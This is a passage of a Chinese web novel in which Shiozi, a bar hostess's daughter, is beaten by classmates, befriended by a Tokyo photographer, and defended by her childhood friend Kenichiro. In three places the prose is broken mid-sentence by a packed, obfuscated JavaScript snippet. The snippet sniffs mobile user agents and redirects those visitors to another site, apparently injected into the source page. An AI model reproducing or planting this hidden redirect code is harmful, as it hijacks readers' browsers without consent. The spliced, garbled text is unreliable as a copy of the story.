“这一下，是你中午那双眼睛的。你也配看清源幸司？你知道开成是什么地方吗？那是东京的少爷们读的学校，你这种乡下卖酒女，一辈子都进不去的地方。” 潮子咬紧牙，没出声。 “啪。” “这一下——没什么，就是想打。” 潮子的嘴角破了，血流出来，流到下巴上。 她抬起头，看着阳子，眼睛里还是那道光。 阳子愣了一下，然后笑了。 “还挺硬。”她回头看了久美一眼，“拽住她头发。” 久美走过来，一把揪住潮子的头发，把她往后拉。潮子的头被迫仰起来，脸朝着天。 阳子弯下腰，凑到她耳边，压低声音。 “你知道聪子有多讨厌你吗？你知道你这种女人，根本就不该出现在这里吗？” 潮子没说话。 “你妈是陪酒的，你将来也是陪酒的。”阳子的声音轻轻的，像在说一件理所当然的事，“读什么书啊，装什么好学生啊。早点回去陪你妈接客不好吗？” 潮子的眼睛一下子瞪大了。 她猛地挣了一下，挣开了久美的手，往前一冲，撞向阳子。 阳子没防住，被她撞得往后退了两步，一屁股坐在地上。 “你敢打我——！” 她爬起来，朝潮子扑过去。 久美也扑上来。那个高个子女生也上来了。 三个人把潮子按在地上。拳头落下来，脚踢上来，落在她身上，背上，脸上。 潮子蜷缩着，抱着头，一声不吭。 她听见阳子在骂，听见久美在笑，听见那个高个子女生的喘气声。 她什么都没说。 她只是蜷缩在那里，抱着头，咬着牙。 不知道过了多久，那几个人打够了，站直了，拍了拍身上的土。 “走。”阳子的声音，“给她留口气，下次再打。” 脚步声远了。 小树林里安静下来。 潮子趴在地上，一动不动。 过了很久，她慢慢动了动，撑着地，坐起来。 身上疼，到处都疼。脸上肿得更厉害了，嘴角还在流血，胳膊上青一块紫一块。 她坐在地上，看着自己的手。 手上都是土，指甲缝里有泥。她慢慢把手翻过来，看着掌心。 掌心也是土，还有血。 她想起中午电视里那个少年。他站在阳光下，挥棒，跑垒，被队友们围住，抱成一团。 那么亮，那么干净。 开成学院。 东京的少爷们读的学校。 她坐在地上，看着自己满是土和血的手。 “癞蛤蟆想吃天鹅肉。” 她慢慢把手握成拳头。 然后她站起来，拍了拍身上的土，一步一步，走出小树林。 夕阳照在她身上，把她长长的影子投在地上。 她没有回头。 --- 酒肆里，庆子正在擦杯子。她抬起头，看见潮子走进来。 她愣了一下。 潮子的脸肿着，嘴角有血，衣服上都是土。 “怎么——” “摔的。”潮子说。 她从母亲身边走过去，上楼，钻进阁楼里。 庆子站在那里，看着那个背影，看着楼梯口。 她想喊住她。但她没喊。 阁楼的门关上。 潮子坐在床上，看着窗外那片越来越暗的天。 她想起健一郎。不知道他奶奶怎么样了。 她想起那个少年。他在电视里笑，那么亮，那么干净。他在开成学院，穿着雪白的球衣，被阳光照着，被那么多人喊着名字。 她摸了摸自己的脸，肿的，疼的。 但她没哭。 她躺下来，闭上眼睛。 6. 第 6 章 那天下午，潮子没有去学校。 她沿着海边走，走得很慢，脚陷进沙子里，又拔出来，陷进去，又拔出来。海风吹过来，把她的头发吹乱了，她也不理，就那么走着。 她不知道自己走了多久。等停下来的时候，发现已经到了那片小时候常来的沙滩——那块她和健一郎一起爬过的礁石，那艘他修了很久的小木船，那个他第一次说“把小潮嫁给我吧”的地方。 她坐下来，面对着海。 海还是那个海，灰的，蓝的，一直在动。她看着海浪一遍一遍地打上来，又退下去，打上来，又退下去。看着看着，心里那股堵着的东西，好像松动了一点点。 风从海面上吹过来，把她的头发吹起来，吹到脸上，遮住了半边脸。她也不去拨，就那么让头发飘着。 她想起电视里那个少年。 开成学院。清源幸司。 他站在阳光下，那么亮，那么干净。她坐在海边，身上都是伤，衣服上还有昨天沾的土。 “癞蛤蟆想吃天鹅肉。” 她笑了一下。不是笑那句话，是笑自己。 然后她听见身后有声音。 “咔嚓。” 很轻的一声，像什么东西被折断。 她猛地转过头。 一个男人站在不远处，手里举着一个黑色的东西——是相机。他正对着她，被她的突然回头吓了一跳，手停在半空中，脸上的表情像个被当场抓住的孩子。 “你在做什么？” 潮子的声音比平时冷。她站起来，看着他。 男人愣住了，嘴张了张，半天才说出话来：“呃……抱歉。” 他把相机放下来，站在那里，不知道该怎么办的样子。 “你好，小姐。”他终于找回自己的声音，往前走了一步，又停住，“我是从东京来的摄影师，叫森本英世。” 潮子没说话，只是看着他。 森本被那目光看得有点不自在。那目光太直了，太亮了，里面没有那种乡下姑娘看见东京来的人该有的怯，只有一种让人不知道该怎么办的东西。 “你……你在海边的样子，”他指了指她刚才坐的地方，“很有画面感。我就忍不住拍了一张。” 潮子还是没说话。 森本站在那里，突然觉得自己像个傻子。他拍了二十多年照片，见过无数人，从来没这么紧张过。但这个女孩看他的眼神，让他觉得自己像个偷东西的贼。 “你身上的伤，”他看见了——她脸上的肿还没消，嘴角还有一道结痂的口子，“比昨天又多了。” 潮子的眼睛动了一下。 “抱歉，我没别的意思。”森本赶紧说，“我只是觉得……你好像遇到了一些困难。” 他往前走了一步，又停住。 “我也许可以帮助你。” 潮子看着他。 海风吹过来，把她的头发吹起来，露出那张满是伤的脸。她就那么看着他，不说话。 森本站在那里，等着。 过了一会儿，潮子开口了。 “怎么帮我？” 声音清冽冽的，像海浪打在礁石上溅起来的水。 “你想从我这里得到什么？” 森本愣了一下。他想起昨晚酒肆里那些男人的目光，想起她母亲挡在她面前的样子，想起她仰头喝下那杯酒的时候，眼睛里那道光。 他明白了。 这个女孩，从小在那种地方长大，见过的男人都是冲着她和她妈妈的身子来的。她不相信有人会无缘无故对她好。 “这是我的名片。” 他从口袋里掏出一张名片，递过去。 潮子接过来，低头看了一眼。名片上印着字，她认得——“森本英世”“摄影师”“东京都”。 她抬起头，看着他。 “我想给你拍一组照片。” 森本说得很坦诚。他知道，对这个女孩，不能绕弯子。 “你身上有一种特质，”他斟酌着词句，“很动人。我想把它拍下来。” 潮子没说话。 “不需要你做什么。”森本赶紧补充，“只要你穿着自己的衣服，在海边走一走就行。就现在这样，什么都不用改变。” 潮子低头看了看自己。 衣服上有土，有昨天打架留下的污渍。她想起早上洗脸的时候，镜子里那张肿着的脸。 “现在吗？” 森本看着她的脸，看着她嘴角那道还没长好的口子。 他叹了口气。 “每次见到你，”他说，“你身上都有新伤。” 潮子没说话。 “等几天吧。”森本说，“等伤口好一些。” 潮子看着他。 “几天后，”森本指了指沙滩，“还是这里，还是这个时间，可以吗？” 潮子点点头。 森本心里松了口气。 “如果可以的话，”他想了想，又说，“如果穿着捕鱼女的衣服来，就更好了。” 潮子愣了一下。 捕鱼女的衣服。 她低头看了看自己——这身衣服，已经是她最好的了。哪有什么捕鱼女的衣服。 但她没说什么。 “好。”她说。 森本站在那里，看着她。海风吹过来，把她的头发吹起来，他看见她鼻尖上那颗小小的痣，像一颗会跳舞的小黑豆。 “那我……我先走了。”他说，“几天后见。” 他转身，走了几步，又回过头。 潮子还站在那里，看着海。 他举起相机，想再拍一张，想了想，又放下了。 他走了。 潮子站在那里，听着脚步声越来越远，最后听不见了。 她低头看着手里的名片。 “森本英世”“摄影师”“东京都”。 她把名片收进口袋里。 然后她坐下来，继续看着海。 --- 不知道过了多久，她听见身后又有脚步声。 比刚才那个人的脚步声重，也快。 她没回头。 脚步声在她身后停下来。 然后是一个声音。 “潮子。” 是健一郎。 她转过头。 健一郎站在那里，离她几步远。他穿着那件洗得发白的旧衣服，脸色不太好，眼圈下面青的，像几天没睡。 他看着她。 看着她脸上的伤。看着她嘴角那道结痂的口子。看着她胳膊上那些青一块紫一块的印子。 他的眼睛一下子变了。 “谁打的？” 声音很低，但潮子听出了那声音里的东西。那不是他平时说话的声音。 “健一郎——” “谁打的？” 他往前走了一步，离她更近了。她看清了他的脸，那张晒得黑黑的脸上，有一种她从来没见过的表情。 愤怒。真实 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486541|202041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的、压不住的愤怒。 “是学校里那些人，对不对？”他的声音在抖，“是那个松本聪子，还有那几个跟班，对不对？” 潮子没说话。 “我去找她们。” 他转身就走。 “健一郎！” 潮子站起来，追上去，一把拉住他的胳膊。 “你别去。” 健一郎停住了，但没有回头。 “你别去”潮子的声音很轻，又说了一遍。 健一郎站在那里，背对着她。她看见他的肩膀在抖。 “你让我看着你被打？” 他的声音闷闷的，像什么东西压在嗓子眼里。 潮子没说话。 “你让我什么都不做？” 他转过身，看着她。 他的眼眶红了，但没有眼泪。 “潮子，我奶奶走了。” 潮子愣住了。 “今天早上走的。”健一郎的声音很平，像在说一件很久以前的事，“我看着她咽气的。我给她换的衣服。我烧的香。” 潮子看着他，说不出话来。 “我爸说，明天要去火葬场。”他继续说，“我要夹第一块骨头。” 他站在那里，海风吹过来，把他乱七八糟的头发吹得更乱了。 “我不知道该怎么办。” 他的声音突然低下去，低得几乎听不见。 潮子看着他。 这个男孩，从小就在她身边。她被人欺负的时候，他挡在她前面。她被她妈打的时候，他等在草窝里，提着灯笼。她难过的时候，他什么都不说，只是陪她走。 她从来没见过他这个样子。 她走过去，抱住他。 健一郎僵了一下。 然后他伸出手，抱住她。 他的力气很大，大得她有点喘不过气。但她没动。 他抱着她，头埋在她肩膀上。她感觉到他在抖，很轻的抖，像小时候那艘小木船在海浪里晃。 她想说什么，但不知道说什么。 她就那么抱着他。 过了很久，健一郎的声音从她肩膀上传过来。 “疼吗？” 潮子愣了一下。 “你的伤。”他说，“我是不是弄疼你了？” 他松开一点，低头看着她。 潮子摇摇头。 健一郎看着她，看着她脸上的伤，看着那道结痂的口子。他伸出手，想碰一下，伸到一半，又缩回去了。 “明天，”他说，“我去找她们。” 潮子看着他。 他的声音很平静，“我奶奶说，男人要有担当。” 潮子还是看着他。 “你等我。” 他说完，转身就走。 潮子站在那里，看着他的背影越走越远，最后消失在海边那片越来越暗的光里。 她站了很久。 海浪的声音从远处传来，一下，一下。 她从口袋里掏出那张名片，看了看。 “森本英世”“摄影师”“东京都”。 她把名片收回去，转身往酒肆走。 天快黑了。 --- 那天晚上，潮子躺在阁楼里，听着楼下的笑声和碰杯声。 她睡不着。 她想着健一郎。想着他刚才那个样子。想着他明天要去火葬场，要夹起奶奶的第一块骨头。想着他明天要去学校找人算账。 7. 第 7 章 第二天，健一郎起得很早。 天还没亮，他就起来了。父亲已经在院子里准备好了东西——一个白木的牌位，几束香，还有奶奶生前最喜欢的那条旧头巾。头巾是洗过的，叠得整整齐齐，放在牌位旁边。 “走吧。”父亲说。 健一郎点点头。 他们去了镇上的火葬场。那座灰扑扑的建筑在晨雾里站着，烟囱里冒着淡淡的烟。健一郎站在门口，看着那烟，看了很久。 那是奶奶。 他想起小时候，奶奶瞎了眼睛，但总能摸到他的头。她的手很糙，都是茧子，但摸在他头上的时候，他觉得那是世界上最软的手。 “健一郎，”奶奶说，“你命硬。命硬的人，要护着命软的人。” 他不知道潮子是不是命软。但他知道，他要护着她。 火化花了一个多小时。 然后就是拾骨。 工作人员把还冒着热气的骨头端出来，放在一张白布上。骨头是白的，有些地方发灰，有的还带着一点焦黑。 “来吧。”父亲说。 两根长筷子递到他手里。他接过筷子，手在抖。 第一块骨头。他夹起来，轻轻放进骨灰罐里。骨头很轻，比他想像的轻。 第二块。第三块。第四块。 他一直夹到最后一根，是头骨的一部分。他夹起来的时候，突然想起奶奶的脸，想起她笑的时候，脸上的皱纹挤在一起。 他不知道自己是怎么走出那个地方的。只记得出来后，天已经亮了，太阳挂在东边，照在他脸上，有点刺眼。 “你先回去。”他对父亲说。 “你去哪儿？” 健一郎没回答。他转身走了。 他要去找那些人。 --- 下午，聪子她们从学校里出来的时候，还没意识到有什么事要发生。 她们走在路上，说着话，笑着。阳子正在讲昨天那场架，讲潮子被打得缩在地上不敢动的样子，讲她怎么揪着潮子的头发，讲她怎么扇的那些耳光。 “她那样子，笑死人了。”阳子说。 久美也跟着笑。 只有聪子没笑。 她想着健一郎。那个从早上就一直坐在教室里的男孩。他什么都没做，什么都没说，就那么坐在那里，一整天，一动不动。 但他的眼睛一直在看她们。 不是看，是瞪。 那种目光，隔着几排座位都能感觉到。像刀子，像那天他挡在潮子面前的时候，眼睛里射出来的光。 “喂。”阳子突然压低声音，“那个健一郎来了。” 聪子猛地回头。 健一郎站在她们身后不远的地方，正看着她们。 他什么时候来的？她没听见脚步声。 “他不会要报复我们吧？”久美往聪子身边靠了靠，“他那个眼神……好可怕。” 聪子的心跳快了一下，但她脸上什么都没露出来。 “怕什么？”她说，“我们三个人，他一个人。再说，大白天的，他能怎么样？” 阳子点头：“对对对，我们下午早点走，去人多的地方。” “去镇上那家新开的咖啡店吧。”久美说，“那里人多，他不敢乱来的。” 她们加快了脚步。 健一郎没有跟上来。他站在那里，看着她们走远，然后慢慢跟在后面，不远不近，就那么跟着。 聪子一路上回了三次头。每次回头，都看见他在那里。 那个身影，像一块礁石。 --- 咖啡店在镇子最热闹的那条街上，门口挂着暖帘，里面飘出咖啡的香味。 她们进去，找了一个靠窗的位置坐下。透过窗户，可以看见外面的街道。 “他还在吗？”阳子问。 聪子往外看了一眼。 健一郎站在街对面，靠着电线杆，正看着这边。 “在。”她说。 “这人疯了。”阳子说，“他奶奶不是刚死吗？他怎么不去守灵？” 聪子没说话。她知道为什么。 因为潮子。 咖啡端上来了。她们喝着，说着话，但谁都心不在焉。阳子时不时往外看一眼，久美的杯子端起来又放下，放下又端起来。 天慢慢暗下来了。 “该走了吧？”久美说。 “再等等。”聪子说，“再晚一点，他可能就走了。” 她们又坐了半个小时。 天已经全黑了。街上的灯亮起来，昏黄的光照在行人脸上。 聪子往窗外看。 街对面空了。 “走了。”她松了口气。 她们结账，走出咖啡店。街上人还不少，她们混在人群里往前走。走到街角，拐进一条小路——那条路通往村子，比大路近，但两边都是房子，路灯也暗。 走了一会儿，阳子突然停下来。 “聪子……” 聪子抬起头。 健一郎站在前面，挡住了她们的路。 他站在路灯照不到的暗处，脸看不太清，但那双眼眼睛亮得吓人。他皱着眉，眼睛里有一种她没见过的东西——不是愤怒，是比愤怒更深的东西。 “是你们几个打的潮子？” 他的声音很低，但在那条窄巷子里，每个人都听得清清楚楚。 聪子没说话。 阳子和久美往她身后缩。 “打得她浑身是伤？” 健一郎往前走了一步。 聪子终于看清了他的脸。那张晒得黑黑的脸上，有一种让人不敢动的光。不是因为凶狠，是因为太亮了，亮得像礁石上被浪打了千百遍的地方。 她想起潮子的眼睛。也是这样的光。 “我问你们话。” 他又往前走了一步。 阳子突然尖叫起来，拉着久美就跑。她们跑得很快，跑出巷子，跑上大街，跑得不见人影了。 巷子里只剩下聪子和健一郎。 聪子站在那里，腿在抖，但她没跑。她看着他，看着他一步一步走近。 “你敢打我？”她的声音在抖，但她努力让它不抖，“你打女人？” 健一郎站在她面前，离她只有一步。 他太高了。站在这么近的地方，她得仰着头才能看见他的脸。她看见他的眼睛，看见里面那道光，看见那道光照着她，像照着一块石头。 “我不打女人。”他说。 聪子松了口气。 然后他伸出手，一把抓住她的手腕。 疼。 他的手像铁钳一样，攥得她手腕要断了。她想挣，挣不开。她想喊，喊不出来。 他把她往旁边一拽，她的后背撞在墙上。 他的另一只手抬起来，攥成拳头，朝她脸上挥过来—— 聪子紧紧闭上眼睛。 “砰！” 一声闷响。 她的脸没有疼。 她睁开眼睛。 健一郎的拳头擦过她的脸颊，砸在她身后的墙上。 墙上，砖头碎了一块，粉末簌簌往下掉。 他的手上，血正往下流。 他松开她的手腕，退后一步。 “再敢打她，”他说，声音还是那么低，“我把你们捏碎。” 他转身走了。 聪子靠在墙上，腿软得站不住。她慢慢滑下去，蹲在地上，大口大口喘气。 她的手还在抖。 她抬起头，看着他的背影。他走得很快，没有回头。 她想起刚才那只手，那只攥着她手腕的手，那只砸在墙上的手。那只手上流着血，但他好像感觉不到疼。 她想起潮子。 凭什么？凭什么那个下三滥，那个卖酒女，那个被人打了也不敢出声的东西，凭什么能有这样的男孩护着她？ 她想起健一郎的脸。那张脸硬朗得很，不是那种白白净净的俊，是晒出来的、被海风吹出来的那种。眼睛很亮，看人的时候，像能把人看穿。 他对谁都不假辞色。在班上。女生跟他搭话，他不理。 他只对潮子说话。 只对潮子笑。 只对潮子伸出手。 聪子蹲在那里，看着自己还在抖的手，看着那条空空的巷子。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486542|202041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “潮子。”她咬着牙，把这名字从牙缝里挤出来。 “你等着。” --- 健一郎往海边走。 他走得很快，手上的伤口还在流血，但他没管。血滴在路上，一滴，一滴，他也不看。 他只想见到她。 到海边的时候，天已经全黑了。月亮升起来，照在海面上，照在沙滩上，照在那块他们从小爬的礁石上。 她坐在那里。 背对着他，面对着海。月光照在她身上，把她的影子投在沙滩上，长长的，细细的。 他站在那里，看着她。 她好像听见了脚步声，转过头来。 “健一郎？” 她站起来，朝他走过来。走近了，她看见他的手。 “你手怎么了？” 她拉住他的手，低头看。手上的血已经干了，但伤口还翻着，里面能看见肉。 “我去找她们了。”他说。 潮子抬起头，看着他。 月光照在她脸上。她脸上的伤还没全好，嘴角那道口子已经不肿了。她的眼睛很大很亮，像海里倒映的月亮。 她没说话，只是看着他。 过了一会儿，她低下头，从衣服上撕下一块布，给他包手上的伤口。 她的动作很轻，很慢。手指碰到他手的时候，凉凉的。 月光洒下来，照在她身上。她的头发被海风吹起来，一缕，一缕，拂过他的手臂。她低着头，睫毛在脸上投下淡淡的影子。那颗小小的痣，就长在鼻尖上，在月光里像一颗小小的星。 她整个人，像是从月光里长出来的。 不是那种画里的仙女，是真实的，是活的，是他在海边看着长大的。她身上有一种东西，让他移不开眼睛，他也知道长那么大，他的心里只有潮子。 他想起奶奶说的那句话：“命硬的人，要护着命软的人。” 他不知道谁命硬谁命软。他只知道，他要护着她。 “好了。”她抬起头，“还疼吗？” 他没说话。 他伸出手，抱住了她。 潮子愣了一下，她感受到健一郎强而有力的心跳，然后她伸出手，圈住了他的脖子。 她的手臂很细，圈在他脖子上，像两条小小的藤。她的脸贴在他肩膀上，他感觉到她的呼吸，一下，一下，热热的。 他抱得更紧了。 潮子抬起头，看着他。 月光照在她脸上，照在她眼睛里。那眼睛太亮了，亮得他有点不敢看。 她往前凑了凑，亲了他一下。 很轻，很软，像海浪舔过沙滩。 他没动。 她退回去，看着他。 不够。 他心想。 他把她搂得更紧了，低下头，吻上去。 不是刚才那种轻轻的吻。是横冲直撞的，是带着这些天所有东西的——奶奶的死，她的伤，那些人的话，那只砸在墙上的拳头。所有的东西，都在这一个吻里。 潮子没有躲。 她圈着他的脖子，回应着他。 海浪拍打着沙滩，一下，一下。月亮挂在头顶，照着这片海，照着这两个人。 过了很久，他松开她。 两个人都在喘气。 潮子看着他，眼睛里有一种他从来没见过的光。 “健一郎。”她说。 “嗯。” “奶奶……”她顿了顿，“奶奶走的时候，疼吗？” 健一郎摇摇头。 “不疼。”他说，“我爸给她换了衣服，我烧了香。她走的时候，脸上是笑着的。” 潮子看着他。 他继续说：“拾骨的时候，我夹起第一块骨头。很轻。” 他说完，沉默了一会儿。 “潮子。” “嗯。” “我以后不让你再受伤。” 潮子没说话。 她靠在他肩膀上，看着海。 月亮照在海面上，碎成一片一片的银光。海浪一下一下地拍过来，像是永远不会停。 她轻轻“嗯”了一声。 8. 第 8 章 那天早上，潮子在阁楼里站了很久。 她面前是母亲庆子的衣柜——一个破旧的木柜子，门歪歪斜斜的，关不严实。她打开柜门，里面挂着几件衣服，都是庆子在酒肆里穿的。艳丽的，花哨的，领口开得很低的，料子薄得能透出里面皮肤的那种。 潮子的手从那些衣服上滑过去。 在最里面，她摸到一件不一样的。 她把它抽出来。 是一件连衣裙。长袖的，领口系着一个蝴蝶结，裙摆到小腿肚。颜色是深蓝色，不是那种艳俗的蓝，是深海的颜色，沉沉的，静静的。布料是棉的，洗过很多次，边角有点发白，但没有破。 潮子认得这件衣服。 这是妈妈年轻时候的衣服。她见过一张照片——黑白的，边角都卷了——照片里的妈妈站在海边，穿着这件衣服，头发被风吹起来，笑得很开心。那是潮子没见过的一种笑，不是酒肆里的笑，是真的在笑。 她不知道妈妈为什么留着这件衣服。也许是因为那是她唯一一件不是穿来陪酒的衣服。 潮子把连衣裙举到身前，对着那面小镜子照了照。 太大了。袖子长出一截，裙摆拖到地上。领口的蝴蝶结垂在胸前，松垮垮的。 但她没有放下。 她把衣服换上，对着镜子看。 袖子太长了，她把袖口往上挽了两道。裙摆太长了，拖在地上，她想了想，把裙摆往上提了提，用别针别住。领口的蝴蝶结太大了，她重新系了一下，让它看起来不那么松垮。 她对着镜子里的自己。 镜子很旧，照出来的人模模糊糊的。但她能看见自己的脸——脸上的伤已经好了大半，嘴角那道口子只剩一条浅浅的线，不仔细看，看不出来。胳膊上的淤紫还没全消，但袖子遮住了。 她看着镜子里那双眼睛。 眼睛很亮，睫毛很长，在镜子里投下淡淡的影子。鼻尖上那颗痣，在那张小小的脸上，像是画上去的。 她想起小时候健一郎说的：“你鼻子上有颗痣，像一颗会跳舞的小黑豆。” 她笑了一下。 然后她走出阁楼。 --- 海边，森本英世已经等了一会儿了。 他架好了相机，调试着光圈和快门。海风很大，吹得他的头发乱飞，他也不在意。他在等那个女孩。 小林站在旁边，手里提着备用的胶卷和镜头。 “森本先生，她会来吗？” “会。” “您怎么知道？” 森本没回答。他就是知道。 然后他看见了。 她从那条杂草丛生的小路上走出来，朝海边走过来。海风吹着她的头发，把她的头发吹起来，飘在身后。她穿着一条深蓝色的连衣裙，裙摆被风吹得贴在腿上，显出纤细的轮廓。 她走得不快，一步一步，脚陷进沙子里，又拔出来。 森本站在那里，看着那个身影，手里的相机差点没握住。 他的血液突然涌上来了。不是因为别的，是因为他看见了——那个女孩身上的光。 那条裙子太大了，袖子长出一截，被她挽了两道，露出细细的手腕。裙摆拖在沙子上，沾了沙，她也不管。领口的蝴蝶结系得不太规整，松松地垂着。 这件衣服穿在她身上，本该是不合时宜的——太大了，太旧了，颜色也太沉了。但她站在那里，这些东西都不重要了。她的身上有一种东西，把衣服的不合适全都中和掉了。那东西他说不清楚，是那种不动声色的劲儿，是那双看人的眼睛，是她站在那里什么都不做却让人觉得她该在的地方。 她走近了。 他看清了她的脸。 伤已经好了。嘴角那道口子只剩一条浅浅的线，不仔细看根本看不出来。她的眼睛很亮，不是那种被什么东西照亮的亮，是她自己就在发光。睫毛很长，在眼下投出淡淡的影子。鼻尖上那颗痣，在她那张巴掌大的脸上，像是特意点上去的。 她是他见过的最美的女孩。 不是因为五官有多精致，是因为她身上有一种东西，一种他只在最好的演员身上见过的东西——故事感。她站在那里，什么都不做，你就觉得她身上发生过很多事。那些事没有把她打碎，反而让她更完整。 她是为电影而生的女孩。 “早上好。”她说。 声音清冽冽的，像海浪打在礁石上溅起来的水。 “早上好。”森本的声音有点哑，他清了清嗓子，“你来了。” 潮子点点头。 “今天，”森本指了指她的衣服，“很好看。” 潮子低头看了看自己，没说话。 “站到那块礁石上好吗？”森本指了指海边最大的那块礁石，“随便坐，随便站，不要看镜头，就当我不在。” 潮子看了看那块礁石，走过去。 她脱掉脚上的木屐，光着脚踩上礁石。礁石被太阳晒得温温的，表面粗糙，扎脚。她也不在意，找了一个地方坐下来。 海风吹过来，把她的头发吹起来，拂过脸颊。她伸出手，摸了摸礁石上的裂纹——那些裂纹是海浪年复一年冲出来的，深深的，硬硬的。她的手指顺着那些裂纹走，像是在摸一个很老很老的东西。 然后她仰起头。 身体向后仰，手撑在礁石上，脸朝着天。海风从她脸上吹过去，把她的头发全部吹到后面，露出整张脸——额头，眉毛，眼睛，鼻尖上那颗痣。 她闭上眼睛。 森本按下了快门。 “咔嚓。” 一下，两下，三下。 他换了个角度，又拍了几张。 潮子坐在那里，闭着眼，像睡着了一样。海浪在她脚下拍着，一下，一下。阳光照在她脸上，把她整个人照得发亮。 森本的手在抖。 他拍了二十多年照片，从来没见过这样的画面。不是因为他拍得好，是因为她站在那里，光就在她身上。他只是在记录。 他有预感。 这个小渔村困不住她。她不属于这里。她应该去更大的地方——东京，银幕，被灯光照着，被所有人看见。而他手上的相机，也许就是打开那扇门的钥匙。 --- 岸边，小林站在沙滩上，看得入了神。 他旁边站着健一郎。 健一郎是跟着潮子来的。他没走近，就站在远处，看着潮子坐在礁石上，看着那个东京来的摄影师给她拍照。 他就那么站着，一动不动。 小林看了他一眼。 这个少年，像一尊雕像。黑黑的脸，硬朗的线条，眼睛很亮，直直地看着礁石上那个女孩。海风吹着他的头发，他不动。海浪打湿了他的鞋，他也不动。 他整个人像是长在沙滩上的。 “你是……潮子的朋友？”小林问。 “嗯。” “你们从小就认识？” “嗯。” 小林不知道该说什么了。他看了看健一郎，又看了看礁石上的潮子。 “你们是从东京来的？”健一郎突然问。 “对。” “为什么要给潮子拍照？” 小林想了想，说：“我们是来采风的。就是在当地遇到有特色的人或事，都会用手上的相机记录下来。” “然后呢？” “选取好的图片展览啊。”小林说，语气里带着一点自豪，“森本先生是当代最受欢迎的摄影师了，他拍的照片在日本很受欢迎。” 健一郎沉默了一会儿。 “会出名吗？”他问。 小林愣了一下。 他转过头看着健一郎。这个少年的眼睛还是看着礁石上那个女孩，但他的问题让小林有点意外。 “你希望她出名吗？”小林反问。 健一郎没有马上回答。 他看着潮子。她坐在礁石上，闭着眼睛，海风吹着她的头发。她今天穿了妈妈的衣服，那是她从来没有穿过的样子。她看起来很开心，很放松，像一条终于游进深海的鱼。 他知道她为什么穿这件衣服。 他知道她今天早上一定在镜子前站了很久。 他想起很多次，她在酒肆打烊以后，一个人坐在窗台上，看着远处。他提着灯笼等在草窝里，知道她在看什么——她在看村子里的灯火，看那些亮着灯的窗户，看那些他看不见的东西。 有时候，她会看着电视机里的那些光鲜亮丽的人，看很久，久到他走过去推她一下，她才回过神来。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486543|202041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>那种渴望，他看得见。 他心疼她。 他知道她有多聪明，知道她考试总是第一名，知道佐佐木老师说她是“他教过的最聪明的孩子”。他也知道她有多漂亮——是那种一眼看过去就让人惊叹的漂亮。小时候不懂，长大了就明白了。那些男人看她的眼神，他都知道。 但她也自卑。 她不会说出来，但他知道。她知道自己是陪酒女的女儿，知道村里人怎么看她们母女，知道那些女生为什么欺负她。她知道自己的衣服是最旧的，书包是破的，木屐的带子是换过好几次的。 她从来不抱怨，从来不哭。但她的自卑，藏在她看那些光鲜亮丽的人的眼神里。那种想靠近又不敢靠近的劲儿，让他心疼。 “我只希望她能开心。” 健一郎说。 声音很轻，但小林听得清清楚楚。 小林看着他，看了很久。 这个少年，站在海边，看着那个女孩，眼睛里有一种东西——不是占有，是成全。那种“她飞走了也没关系，只要她飞得高就行”的东西。 小林突然觉得鼻子有点酸。 他想起自己年轻时候的事，想起那些被风吹散的少年心事。 “她会开心的。”小林说，“她站在那里的样子，已经很开心了。” 健一郎点点头，没说话。 小林又看了看他，又看了看礁石上的潮子。 这个少年，沉静如海。他站在那里，像一块礁石，被海浪打了多少年都不动。他对那个女孩的爱，深得像这片海，宽得像这片海，沉默得像这片海。 但小林心里突然涌上来一股惋惜。 因为他知道，这个少年的爱，可能注定是个悲剧。 他见过太多这样的人了。那些在小地方长大、有天赋的人，那些注定要离开的人。他们走的时候，会带走很多东西，也会留下很多东西。留下的人，往往是最难的。 他在潮子身上看到了那种东西——那种不属于这里的东西。她像一颗种子，被风吹到了一个不该生长的地方，但她还是在长，长得比谁都好。这样的种子，迟早会被风吹走。 而健一郎，是这片土地，是这片海，是这块礁石。 他哪里也去不了。他也不想走。 小林叹了一口气。 --- 森本拍完了最后一个卷。 他放下相机，看着礁石上的潮子。她还闭着眼，还坐在那里，海浪还在她脚下拍着。 “好了。”他说。 潮子睁开眼睛，转过头，看着他。 “拍完了？” “嗯。” 她站起来，拍了拍裙子上的沙子，从礁石上跳下来。光脚踩在沙滩上，沙子软软的，暖暖的。 她往岸边走。 走了几步，她看见健一郎站在那里。 他站在小林旁边，看着她。 她朝他笑了一下，露出白牙。 健一郎也笑了一下，但笑得有点勉强。 潮子走过来，站在他面前。 “怎么了？” “没什么。” 她看着他，知道他没说实话。但她没追问。 “好看吗？”她低头看了看自己的裙子。 健一郎看着她。海风吹着她的头发，吹着她那件深蓝色的连衣裙。她站在那里，像从海里长出来的。 “好看。”他说。 